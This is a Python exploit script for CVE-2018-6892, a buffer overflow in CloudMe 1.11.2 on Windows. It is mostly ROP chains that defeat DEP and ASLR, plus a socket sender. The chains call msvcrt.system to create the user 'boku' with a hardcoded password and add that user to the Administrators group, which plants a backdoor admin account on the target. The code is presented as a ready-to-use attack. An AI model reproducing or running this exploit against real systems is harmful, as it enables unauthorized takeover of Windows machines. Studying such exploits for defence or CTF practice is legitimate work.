1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 |
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow ROP (DEP,ASLR) # Exploit Author:Bobby Cooke (boku) # CVE: CVE-2018-6892 # Date: 2020-09-29 # Vendor Homepage: https://www.cloudme.com/ # Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe # Version: 1.11.2 # Tested On: Windows 10 (x64) - 10.0.19041 Build 19041 # Script:Python 2.7 # Notes: # This exploit uses MSVCRT.System to create a new user (boku:0v3R9000!) and add the new user to the # Administrators group. A requirement of successful exploitation is the CloudMe.exe process must be # running as adminstrator, such as when ran with 'Run as Administrator'; as this permission is required # to create new users on the system. This exploit has been tested against multiple Windows 10 systems # including x86, x64, Pro, Education, Home; although there is no guarantee it will work in your CTF. # CloudMe 1.11.2 - Turing Complete Add-Admin ROP (DEP,ASLR) import os,sys,socket,struct from colorama import Fore, Back, Style F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE] B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE] S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT] ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0] err= S[3]+F[2]+'<========'+F[2]+'['+F[5]+'+++'+F[2]+'( '+F[0]+S[0] def formatMsg(STRING): return ok+S[3]+F[5]+STRING+S[0] def formatErr(STRING): return err+S[3]+F[2]+STRING+S[0] # Base | Top| Rebase | SafeSEH | ASLR| NXCompat | OS Dll | Modulename #------------------------------------------------------------------------------------------------------- # 0x69900000 | 0x69ac1000 | False| False | False |False | False| [Qt5Network.dll] # 0x6eb40000 | 0x6eb64000 | False| False | False |False | False| [libgcc_s_dw2-1.dll] # 0x68a80000 | 0x69055000 | False| False | False |False | False| [Qt5Core.dll] # 0x00400000 | 0x00831000 | False| False | False |False | False| [CloudMe.exe] # 0x6d9c0000 | 0x6da0c000 | False| False | False |False | False| [Qt5Sql.dll] # 0x64b40000 | 0x64b5b000 | False| False | False |False | False| [libwinpthread-1.dll] # 0x66e00000 | 0x66e3d000 | False| False | False |False | False| [Qt5Xml.dll] def getESP_RC(): GaDG3Tz = [ # ESP -> EDI # Clobbers: BL # [EBX+5E5B10C4] must be writable # Requires ROPNOP # Address=68F79000 Size=0007A000 (499712.) Owner=Qt5Core68A80000 Section=.eh_fram Type=Imag 01001002 Access=RWE CopyOnWr 0x68bb4678, # POP EBX # RETN [Qt5Core.dll] 0x0A9C8F3C, # EBX + 0x5E5B10C4 = 0x68F7A000 = Writeable Memory 0x68d5e818, # PUSH ESP # OR BL,DL # INC DWORD PTR DS:[EBX+5E5B10C4] # POP EDI # RETN 0x04 [Qt5Core.dll] 0x68D50537, # RETN - ROPNOP 0x68D50537# RETN - ROPNOP ] print(formatMsg("Get ESP ROP Chain built!")) return ''.join(struct.pack('<I', _) for _ in GaDG3Tz) def msvcrt_rop_chain(): GaDG3Tz = [ # HMODULE LoadLibraryA( LPCSTR lpLibFileName); # $ ==>>CALL to LoadLibraryA # $+4>FileName = "msvcrt.dll" # EAX = 0x512 = 1298 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFAEE, # NEG FFFFFAEE = 0x512 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EDI + EAX = End of string "msvcrt.dll" 0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] # EAX = 0x01 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFFF, # NEG FFFFFFfF = 0x01 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EAX = 0x0 0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll] # ECX = 0x0 0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] # Terminate String "msvcrt.dll" 0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI) 0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI) 0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll] # EAX = -0xA = 0xFFFFFFF6 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFF6, # -0xA # ESI = Start of string "msvcrt.dll\x00" 0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll] # EAX = PTR LoadLibraryA (from CloudMe Import Table) # CloudMe Address=0081A168 Section=.idata Type=Import(Known) Name=KERNEL32.LoadLibraryA 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFF7E5E98, # NEG FF7E5E98 = 0081A168 = PTR Kernel32.LoadLibraryA 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EAX = kernel32.LoadLibraryA 0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll] # ESI = kernel32.LoadLibraryA # EAX = Addr string "msvcrt.dll\x00" 0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll] # For PUSHAD we need: EDI=FarRETN # ESI=&LoadLibraryA # EAX=["msvcrt.dll"] # ECX=ROPNOP 0x68d32800, # POP ECX # RETN [Qt5Core.dll] 0x68D50537, # RETN - ROPNOP 0x699f37ad, # POP EDI # RETN [Qt5Network.dll] 0x6990F972, # RETN 10 [Qt5Network.dll] 0x68f7bc5e, # pushad # ret # [Qt5Core.dll] # EAX -> EBP = msvcrt.dll 0x68cc462c# XCHG EAX,EBP # RETN [Qt5Core.dll] # EBP = msvcrt.dll ] print(formatMsg("LoadLibraryA(LPSTR \"msvcrt.dll\") ROP Chain built!")) return ''.join(struct.pack('<I', _) for _ in GaDG3Tz) def GetProc_system_rop_chain(): GaDG3Tz = [ # FARPROC GetProcAddress( HMODULE hModule, LPCSTRlpProcName); # $ ==>> CALL to GetProcAddress# EDX (ROPNOP) # $+4> hModule = [msvcrt]# ECX # $+8> ProcNameOrOrdinal(system) # EAX # EAX = 0x4a2 = 1186 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFB5E, # NEG FFFFFB5E = 0x4A2 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EDI + EAX = End of string "system" 0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] # EAX = 0x01 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFFF, # NEG FFFFFFfF = 0x01 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EAX = 0x0 0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll] # ECX = 0x0 0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] # Terminate String "system" 0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI) 0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI) 0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll] # EAX = -0x6 = 0xFFFFFFFA 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFFA, # -0x6 # ESI = Start of string "system\x00" 0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll] 0x68fcf58d, # DEC EBP # RETN [Qt5Core.dll](fix EBP for prev gadgets) # EAX = PTR GetProcAddr (from CloudMe Import Table) # CloudMe Address=0081A148 # Section=.idata # Type=Import # Name=KERNEL32.GetProcAddress 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFF7E5EB8, # NEG FF7E5EB8 = 0081A148 = PTR Kernel32.GetProcAddr 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] 0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll] 0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll] 0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] # ESI = &kernel32.GetProcAddr # ECX=["system\x00"]# EBP=msvcrt.dll # For PUSHAD we need: EDI=FarRETN # ESI=&GetProcAddress # ECX=msvcrt.dll # EAX=["system"]# EDX=ROPNOP # EBP -> EAX = msvcrt.dll 0x68cc462c, # XCHG EAX,EBP # RETN [Qt5Core.dll] # ECX=&msvcrt.dll # EAX=["system\x00"] 0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] # EDX=ROPNOP 0x68f94685, # POP EDX # RETN [Qt5Core.dll] 0x68D50537, # RETN - ROPNOP # EDI=FarRETN 0x699f37ad, # POP EDI # RETN [Qt5Network.dll] 0x699010B4, # ret 0C [Qt5Network.dll] #KERNEL32.GetProcAddress[ESI pushed to stack] # [EBP pushed to stack] # [ESP pushed to stack] # [EBX pushed to stack] # land after ret 0xC ->Qt5Core.68D50537 (ROPNOP)[EDX pushed to stack] #MSVCRT.75F60000[ECX pushed to stack] #ASCII "system" [EAX pushed to stack] 0X68f7bc5e, # pushad # ret # [Qt5Core.dll] 0x68b1df17# XCHG EAX,EDX # RETN # [Qt5Core.dll] # EDX = msvcrt.system ] print(formatMsg("GetProcAddress(HMODULE msvcrt, LPCSTR system) ROP Chain built!")) return ''.join(struct.pack('<I', _) for _ in GaDG3Tz) def addUsr_rop_chain(): GaDG3Tz = [ # int system( const char *command); # $ ==>> CALL to system # $+4> command = "net user boku 0v3R9000! /add" # EAX = 0x438 = 1080 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFBC8, # NEG 0xFFFFFBC8 = 0x438 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EDI + EAX = End of string "net user..." 0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] # EAX = 0x01 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFFF, # NEG FFFFFFfF = 0x01 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EAX = 0x0 0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll] # ECX = 0x0 0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] # Terminate String "net user..." 0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI) 0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI) 0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll] # EAX = -28 = -0x1C = 0xFFFFFFE4 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFE4, #-28 = -0x1C # ESI = Start of string "net user...\x00" 0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll] # EDX = MSVCRT.system # ECX=0x0 # For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net user.."] # ECX=POP+RET 0x68d32800, # POP ECX # RETN [Qt5Core.dll] 0x699f37ad, # POP EDI # RETN [Qt5Network.dll] # ESI = MSVCRT.system # EAX = ["net user.."] 0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll] 0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll] # EDI=FarRETN 0x699f37ad, # POP EDI # RETN [Qt5Network.dll] 0x6990F972, # RETN 10 [Qt5Network.dll] # PUSHAD - Setup Call to MSVCRT.system on stack 0X68f7bc5e# pushad # ret # [Qt5Core.dll] ] print(formatMsg("system(const char* \"net user boku 0v3R9000! /add\") ROP Chain built!")) return ''.join(struct.pack('<I', _) for _ in GaDG3Tz) def addAdm_rop_chain(): GaDG3Tz = [ # ESI = msvcrt.system # ESI -> EDX 0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll] 0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll] # EAX = 0x3F7 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFC09, # NEG 0xFFFFFC09 = 0x3F7 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EDI + EAX = End of string "net local..." 0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] # EAX = 0x01 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFFF, # NEG FFFFFFfF = 0x01 0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll] # EAX = 0x0 0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll] # ECX = 0x0 0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] # Terminate String "net local..." 0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI) 0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI) 0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll] # EAX = -39 = -0x27 = 0xFFFFFFE4 0x68aec6ab, # POP EAX # RETN [Qt5Core.dll] 0xFFFFFFD9, #-39 = -0x27 # ESI = Start of string "net local...\x00" 0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll] # EDX = MSVCRT.system # ECX=0x0 # For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net local.."] # ECX=ROPNOP 0x68d32800, # POP ECX # RETN [Qt5Core.dll] 0x699f37ad, # POP EDI # RETN [Qt5Network.dll] # ESI = MSVCRT.system # EAX = ["net local.."] 0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll] 0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll] # EDI=FarRETN 0x699f37ad, # POP EDI # RETN [Qt5Network.dll] 0x6990F972, # RETN 10 [Qt5Network.dll] # PUSHAD - Setup Call to MSVCRT.system on stack 0X68f7bc5e# pushad # ret # [Qt5Core.dll] ] print(formatMsg("system(const char* \"net localgroup Administrators boku /add\") ROP Chain built!")) return ''.join(struct.pack('<I', _) for _ in GaDG3Tz) def sendRecv(s,p): print(formatMsg("Sending payload: ")) print(S[3]+F[7]+payload+S[0]) s.send(p) data = s.recv(1024) return data def header(): head = S[3]+F[2]+' --- Cloudme v1.12 | Add Admin (boku:0v3R9000!) ---\n'+S[0] return head def sig(): SIG= S[3]+F[4]+" .-----.._ ,--.\n" SIG += F[4]+" |..>___ || .--.\n" SIG += F[4]+" ||.','-'"+F[2]+"* *"+F[4]+"'-. |//__ __\n" SIG += F[4]+" |</ "+F[2]+"***"+F[4]+" \ / \\/ \\\n" SIG += F[4]+" ||> )"+F[2]+" * *"+F[4]+" /\\\\\n" SIG += F[4]+" |____..- '-.._..-'_|\\___|._..\\___\\\n" SIG += F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0] return SIG def footer(): foot = formatMsg('Requires that the Cloudme program is ran using \'Run As Administrator\'\n') return foot if __name__ == "__main__": print(header()) print(sig()) print(footer()) if len(sys.argv) != 3: print(formatErr("Usage: python %s <IP> <PORT>" % sys.argv[0])) print(formaterr("Example: python %s '127.0.0.1' 8888" % sys.argv[0])) sys.exit(-1) host = sys.argv[1] port = int(sys.argv[2]) rop_chain = getESP_RC() + msvcrt_rop_chain() + getESP_RC() + GetProc_system_rop_chain() + getESP_RC() + addUsr_rop_chain() + getESP_RC() + addAdm_rop_chain() os_EIP= '\41'*1052 os_nSEH = '\x41'*(2344-len(os_EIP + rop_chain)) nSEH= '\x42'*4 SEH = '\x43'*4 buff= os_EIP + rop_chain + os_nSEH + nSEH + SEH term = '\r\n' kern32 = 'msvcrt.dll'+'AAAAAA' winExe = 'system'+'BBBBBB' addUsr = 'net user boku 0v3R9000! /add'+'CCCC' addAdm = 'net localgroup Administrators boku /add'+'DDDD' rmdr = '\x44'*(3854-len(buff)-len(kern32)-len(winExe)-len(addAdm)) payload = buff + kern32 + winExe + addUsr + addAdm + rmdr + term try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host,port)) print(formatMsg( "Successfully connected to "+host+" on port "+str(port))) resp = sendRecv(sock,payload) print(formatMsg("Closing Socket")) sock.close() print(formatErr("Exiting python script.")) except: print(formatErr("Failed to connect and send payload.")) |